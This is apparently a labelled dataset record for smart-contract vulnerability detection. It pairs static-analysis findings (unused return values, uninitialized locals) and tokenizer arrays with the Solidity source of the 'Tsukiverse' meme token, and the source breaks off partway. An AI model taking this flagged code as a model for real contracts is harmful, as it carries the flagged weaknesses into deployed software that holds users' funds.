0246000fd5b6001600160e01b0319811681146116f157600080fdfea2646970667358221220f57d7e5fe24630aaf89a07dd500ca245275a8eb3fc1bdb9da382b3e66bf9cf0a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 23352, 11387, 2094, 2581, 17914, 2094, 2509, 2098, 2581, 4783, 2546, 29097, 2683, 2581, 16932, 23833, 2692, 19961, 2575, 2094, 2549, 8586, 2581, 2581, 2683, 2487, 3676, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 9722, 18558, 1024, 1013, 1013, 2274, 12171, 1024, 2274, 12171, 1012, 4012, 1013, 15544, 2480, 21761, 3669, 2581, 2683, 2475, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2122, 4972, 3066, 2007, 22616, 1997, 21442, 19099, 3628, 6947, 2015, 1012, 1008, 1008, 1996, 6947, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,834
0x97756478114e44e8d7a511057486749d3c7ccafb
/* Tsukiverse ($TKINU) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Website: https://tsukiverse.com Telegram: https://t.me/tsukiverse Twitter: https://twitter.com/tsukiinutoken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } library IterableMapping { // Iterable mapping from address to uint; struct Map { address[] keys; mapping(address => uint) values; mapping(address => uint) indexOf; mapping(address => bool) inserted; } function get(Map storage map, address key) public view returns (uint) { return map.values[key]; } function getIndexOfKey(Map storage map, address key) public view returns (int) { if(!map.inserted[key]) { return -1; } return int(map.indexOf[key]); } function getKeyAtIndex(Map storage map, uint index) public view returns (address) { return map.keys[index]; } function size(Map storage map) public view returns (uint) { return map.keys.length; } function set(Map storage map, address key, uint val) public { if (map.inserted[key]) { map.values[key] = val; } else { map.inserted[key] = true; map.values[key] = val; map.indexOf[key] = map.keys.length; map.keys.push(key); } } function remove(Map storage map, address key) public { if (!map.inserted[key]) { return; } delete map.inserted[key]; delete map.values[key]; uint index = map.indexOf[key]; uint lastIndex = map.keys.length - 1; address lastKey = map.keys[lastIndex]; map.indexOf[lastKey] = index; delete map.indexOf[key]; map.keys[index] = lastKey; map.keys.pop(); } } /// @title Dividend-Paying Token Optional Interface /// @dev OPTIONAL functions for a dividend-paying token contract. interface DividendPayingTokenOptionalInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) external view returns(uint256); /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has earned in total. function accumulativeDividendOf(address _owner) external view returns(uint256); } /// @title Dividend-Paying Token Interface /// @author Roger Wu (https://github.com/roger-wu) /// @dev An interface for a dividend-paying token contract. interface DividendPayingTokenInterface { /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) external view returns(uint256); /// @notice Distributes ether to token holders as dividends. /// @dev SHOULD distribute the paid ether to token holders as dividends. /// SHOULD NOT directly transfer ether to token holders in this function. /// MUST emit a `DividendsDistributed` event when the amount of distributed ether is greater than 0. function distributeDividends() external payable; /// @notice Withdraws the ether distributed to the sender. /// @dev SHOULD transfer `dividendOf(msg.sender)` wei to `msg.sender`, and `dividendOf(msg.sender)` SHOULD be 0 after the transfer. /// MUST emit a `DividendWithdrawn` event if the amount of ether transferred is greater than 0. function withdrawDividend() external; /// @dev This event MUST emit when ether is distributed to token holders. /// @param from The address which sends ether to this contract. /// @param weiAmount The amount of distributed ether in wei. event DividendsDistributed( address indexed from, uint256 weiAmount ); /// @dev This event MUST emit when an address withdraws their dividend. /// @param to The address which withdraws ether from this contract. /// @param weiAmount The amount of withdrawn ether in wei. event DividendWithdrawn( address indexed to, uint256 weiAmount, address received ); } /* MIT License Copyright (c) 2018 requestnetwork Copyright (c) 2018 Fragments, Inc. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * @title SafeMathInt * @dev Math operations for int256 with overflow safety checks. */ library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } /** * @title SafeMathUint * @dev Math operations with safety checks that revert on error */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () public { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } /// @title Dividend-Paying Token /// @author Roger Wu (https://github.com/roger-wu) /// @dev A mintable ERC20 token that allows anyone to pay and distribute ether /// to token holders as dividends and allows token holders to withdraw their dividends. /// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code contract DividendPayingToken is ERC20, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; uint256 public totalDividendsDistributed; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) { } /// @dev Distributes dividends whenever ether is paid to this contract. receive() external payable { distributeDividends(); } /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % totalSupply()`. /// With a well-chosen `magnitude`, the amount of undistributed ether /// (de-magnified) in a distribution can be less than 1 wei. /// We can actually keep track of the undistributed ether in a distribution /// and try to distribute it in the next distribution, /// but keeping track of such data on-chain costs much more than /// the saved ether, so we don't do that. function distributeDividends() public override payable { require(totalSupply() > 0); if (msg.value > 0) { magnifiedDividendPerShare = magnifiedDividendPerShare.add( (msg.value).mul(magnitude) / totalSupply() ); emit DividendsDistributed(msg.sender, msg.value); totalDividendsDistributed = totalDividendsDistributed.add(msg.value); } } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function withdrawDividend() public virtual override { _withdrawDividendOfUser(msg.sender, msg.sender); } /// @notice Withdraws the ether distributed to the sender. /// @dev It emits a `DividendWithdrawn` event if the amount of withdrawn ether is greater than 0. function _withdrawDividendOfUser(address payable user, address payable to) internal returns (uint256) { uint256 _withdrawableDividend = withdrawableDividendOf(user); if (_withdrawableDividend > 0) { withdrawnDividends[user] = withdrawnDividends[user].add(_withdrawableDividend); emit DividendWithdrawn(user, _withdrawableDividend, to); (bool success,) = to.call{value: _withdrawableDividend}(""); if(!success) { withdrawnDividends[user] = withdrawnDividends[user].sub(_withdrawableDividend); return 0; } return _withdrawableDividend; } return 0; } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function dividendOf(address _owner) public view override returns(uint256) { return withdrawableDividendOf(_owner); } /// @notice View the amount of dividend in wei that an address can withdraw. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` can withdraw. function withdrawableDividendOf(address _owner) public view override returns(uint256) { return accumulativeDividendOf(_owner).sub(withdrawnDividends[_owner]); } /// @notice View the amount of dividend in wei that an address has withdrawn. /// @param _owner The address of a token holder. /// @return The amount of dividend in wei that `_owner` has withdrawn. function withdrawnDividendOf(address _owner) public view override returns(uint256) { return withdrawnDividends[_owner]; } /// @notice View the amount of dividend in wei that an address has earned in total. /// @dev accumulativeDividendOf(_owner) = withdrawableDividendOf(_owner) + withdrawnDividendOf(_owner) /// = 